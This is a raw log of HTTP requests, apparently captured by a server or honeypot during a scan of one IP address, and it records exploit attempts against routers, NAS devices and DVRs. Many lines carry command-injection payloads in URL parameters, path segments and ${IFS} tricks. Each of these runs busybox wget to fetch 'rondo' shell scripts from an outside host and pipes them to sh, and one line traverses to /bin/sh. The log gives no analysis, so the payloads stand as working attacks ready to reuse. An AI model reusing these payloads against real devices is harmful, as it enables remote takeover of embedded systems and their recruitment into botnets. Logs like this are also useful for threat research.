scan of ip 124.198.131.83

[farias]

"GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60 HTTP/1.1"
"GET /goform/webRead/open/?path=%7Cwget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.wtf.sh%7Csh HTTP/1.0"
"POST /apply_sec.cgi HTTP/1.1"
"POST /GponForm/diag_Form?images/ HTTP/1.1"
"POST /apply.cgi HTTP/1.1"
"POST /apply.cgi HTTP/1.1"
"POST /dvr/cmd HTTP/1.1"
"GET / HTTP/1.1"
"POST /goform/SystemCommand HTTP/1.1"
"GET /cgi-bin/shortcut_telnet.cgi?wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.wyu.sh%7Csh%26 HTTP/1.1"
"GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F&currentsetting.htm=1 HTTP/1.1"
"POST /cgi-bin/cgi_main.cgi HTTP/1.1"
"POST /cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= HTTP/1.1"
"POST /goform/mp HTTP/1.1"
"POST /cgi-bin/system_mgr.cgi? HTTP/1.1"
"GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27%3Bwget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.djc.sh%7Csh%3B%27 HTTP/1.1"
"POST /goform/Mail_Test HTTP/1.0"
"GET /cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS} HTTP/1.0"
"GET /HNAP1/ HTTP/1.1"
"POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ebj.sh%7Csh%26echo%20 HTTP/1.0"
"GET /setup.cgi?todo=funjsq_login&funjsq_access_token=12345|busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.fep.sh%7Csh%0A&test=11%00currentsetting.htm HTTP/1.1"
"POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1"